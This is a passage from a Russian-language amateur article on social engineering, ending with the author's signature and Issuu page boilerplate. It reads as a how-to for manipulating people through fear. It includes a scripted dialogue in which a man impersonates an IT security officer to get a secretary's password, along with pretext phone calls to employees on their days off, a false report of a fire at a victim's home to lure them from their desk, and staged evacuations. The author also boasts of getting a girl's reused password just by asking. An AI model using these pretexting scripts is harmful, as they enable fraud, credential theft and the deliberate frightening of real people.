ошибаешься! Таких пользователей в сети огромное множество. Вот, например, у меня


попросила помощи одна девушка. Надо было выполнить тест по информатике. (Она учится удалённо по интернету, и (!) платит за это не малые деньги). Ей было лень скопировать весь этот тест и выслать мне, она дала мне ссылку на него. Но входить можно было только по логину и пассу. Я с наглой мордой сказал ей, что надо логин и пароль. И что ты думаешь? Она мне их сказала!!! И как потом выяснилось, этот же пасс у неё используется для аси. =) Главное в таких случаях не торопиться, выждать определённое время. Исключить себя из списка подозреваемых. И задуматься : "А вообще тебе это надо?" Ведь это воровство, самое настоящее воровство. И за это статья есть в УК РФ. Ну да ладно, продолжим. Мы рассмотрели самые простые способы и ситуации. Давай теперь порассуждаем, над чен-нибудь более серьёзным. Например, вспомним знаменитого Кевина Митника (если ты не знаешь кто это, то бросай чтение, тебе это не надо =) ). Он был не просто гениальным ИТ-специалистом, но и отличным психологом. Мог просто входить в доверие к окружающим, мог предстовляться другим человеком, и ему верили. Верили потому, что он говорил убедительно, уверенно, потому что, он очень много знал и мог выкинуть пару терминов из разных специальностей. Сколько было описанно случаев, когда он, звонив в какую-нибудь компанию и предстовляясь её сотрудником, выуживал нужную ему информацию, вплоть до парлей от кредитных карт и баз данных всего предприятия. Что является ключом его успеха? Возможно это его знание психологии человека, а возможно просто уверенность в себе, отсутствие страха (конечно, не полное отсутствие, ведь только сумашедшие не испытывают страх...), и просто доверие людей, их наивность и простота. Это является главным оружием хакера, использующего социальный инжиниринг. Возможность и способность находить таких людей, простых и доверчивых, является неотъемлемой частью соц. инж-а. Бывают и случаи серьёзного взлома. Т.е. в какую-то определённую организацию внедряется человек, который работает там, не вызывая каких-либо подозрений. Но в то же время он собирает нужную ему или заказчику взлома информацию. Узнаёт структуру компании, принципы её работы, каналы передачи информации, находит уязвимые места в этой системе и способы обхождения ситемы безопасности. А лучше всего будет, если этот человек будет работать с этой системой безопасности (администрирование, проверка, настройка, каждодневная работа с ней). это конечно шпионаж, но всё-таки это и социальный инжинеринг. Способов соц. инж-а огромное множество и их перечисление займёт большое время. Я не вижу смысла рассматривать все виды в этом материале (тем более, я не уверен, что знаю их все). Главное понять суть, цель соц. инж-а. Здесь я просто рассказал, какие бывают методы, способы и цели. А рассматривать их подробно надо в отдельной теме. Страх В этой части заметки хочется поговорить об одном из самых сильных инструментов социальной инженерии, о страхе. Ведь каждый человек испытывает страхи, все чего-то боятся. Один умный дядя (стыд и позор мне, но я не помню его имени) сказал : «Только сумасшедшие не испытывают страх». И он был прав. Кто-то из нас боится высоты, кто-то боится тесного пространства, кто-то чего-то ещё. Есть и такие страхи, которые мучают всех, даже тех, кто думает, что ничего не боится, это – страх потерять собственную жизнь, страх перед болью (конечно, если человек не мазохист какой-нить))) ), потерять близкого человека (родственника, лучшего друга, любимую девушку\парня, у некоторых – своё


любимое животное), страх остаться совершенно одному, никому не нужным, ну и ещё некоторые. И на этом можно играть, на людских страхах очень просто играть… Вот, например, все бояться своего начальства. Это абсолютно точно, хоть ты и в отличных отношениях со своим боссом, но где-то глубоко внутри, в твоём подсознании кроется страх перед ним, перед ответственностью. Соц. инженеру нужно лишь разбудить этот страх, сделать его более явным, видимым и очень большим. Способов, конечно, много, но все мы рассмотреть всё равно не успеем, так что рассмотрим самые основные. Я сейчас приведу пример, который очень распространён, о нём уже много написано, его часто разбирали, о нём знают многие «потенциальные жертвы» (сейчас их начали просто этому обучать – не быть дураками), но всё-таки он действует и действует часто, главное нужно найти момент для воздействия и придумать для него (для воздействия) свою небольшую легенду. Легенда должна быть хоть и небольшой, но правдоподобной. Можно воспользоваться собственным опытом – вспомнить какие-то случаи из жизни, если необходимо чуть-чуть переделать их, приукрасить. Ничего не понятно? Смотри на пример и сам всё поймёшь: Обычный офис компании «А», все сотрудники сидят работают. Пятница, рабочий день заканчивается, начальства уже нет. Вдруг заходит какой-то солидный мужчина, уверенным шагом (уверенность – это ключ к успеху) подходит к секретарше и начинает разговор: - Здравствуйте! Я Иван Иванович из отдела компьютерной безопасности! Как вас зовут? - Инна. - Очень приятно, Инночка! У нас проходит плановая проверка информационной системы, мне необходимо проверить ваш акаунт почты. Скажите, пожалуйста, ваши регистрационные данные - логин и пароль. - Но… Мне нельзя их никому говорить. - Господи, Инна! Ну я же не кто-нибудь! Я проверяю вашу безопасность! Мой начальник, Василий Васильевич, будет не доволен, если я задержу его в пятницу… Да и ваш наверно не обрадуется, если вы его сейчас потревожите. Давайте всё сделаем быстро и оперативно… - Хорошо… Мой пароль – love В этом случае у «жертвы» выработалось сразу несколько страхов – перед начальством (самый большой, заметный и весомый), страх того, что она, простая секретарша, может затормозить работу отдела компьютерной безопасности, а значит и всей компании (страх перед ответственностью), страх перед тем, что придётся задержаться на работе (этого никто не любит, тем более возможно были построены какие-то планы), в какой-то мере страх остаться ненужной, потерять авторитет квалифицированного и мобильного работника (а работой, как известно, в наше время дорожит каждый). Это довольно опасный способ – лично приходить в офис, но есть и свои преимущества перед телефонным разговором – наглядность происходящего, видимость реакции жертвы (на лице написано на много больше, чем просто в словах), возможность применить актёрское мастерство. Вот ещё пример:


Тут необходима некоторая подготовленность – узнать имя сотрудника, его график работы. В день, когда у него выходной, позвонить ему домой / на сотовый, представиться новым сотрудником и попросить доступ к почте, якобы это очень срочно, нужно получить какойнибудь договор или другие документы, прочесать про то, что начальство на каком-нибудь совещании или презентации, что им срочно нужны эти документы, а отвлекать их на такие мелочи, как доступ к почте сейчас не следует. В этой ситуации опять же выявляется страх перед начальством, перед ответственностью, но ещё один очень большой страх – это потеря выходного. Ведь, чтобы получить эти документы придётся поспешить на работу, и тогда о пикнике со своей половинкой придётся забыть. Да ещё и появляется страх показаться в глазах нового сотрудника скрягой и клерком. Все эти страхи можно усилить нервозностью, трясущимся голосом, т.е. показать жертве, что ты на самом деле новый сотрудник и сам боишься, тогда укрепится страх жертвы, да ещё и выработается сострадание (ещё один мощный инструмент социальной инженерии, но о нём в следующий раз). Если социнжеру необходимо попасть на рабочее место жертвы, то, зная некоторые сведения о ней (адрес, наличие родственников, с кем проживает и пр.), можно позвонить на рабочий телефон, представиться соседом и сообщить страшную новость о том, что рядом с домом жертвы или в нём случился пожар или что-нибудь подобное. Сработает страх за близких людей, и жертва, скорее всего, помчится к ним, оставив своё рабочее место без присмотра. Ну а дальше дело техники… Если хорошо подготовиться к социальному взлому, то можно разыграть целый концерт: прикинуться пожарником или биологом каким-нибудь, сообщить, что в здании пожар или возможно заражение вредными химическими веществами и необходима эвакуация персонала. Вряд ли кто-то будет думать о выключении компьютера, все просто разбегутся в страхе за свою жизнь. Это, конечно, очень сложный способ – здесь должно быть всё продуманно до мелочей, должна быть хорошая и комплексная подготовка, да и одному такой взлом провернуть не удастся. Итак, показанные примеры говорят о том, что в каждом из нас сидят страхи, и что на них можно играть в свою пользу. Для простейшего социального взлома на страхе нужно коечто знать в психологии, обладать уверенностью, иметь некий актёрский талант.

Written by Васючков Андрей aka Soffrick Email: soffrick@mail.ru WWW: http://liveofpc.3dn.ru


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.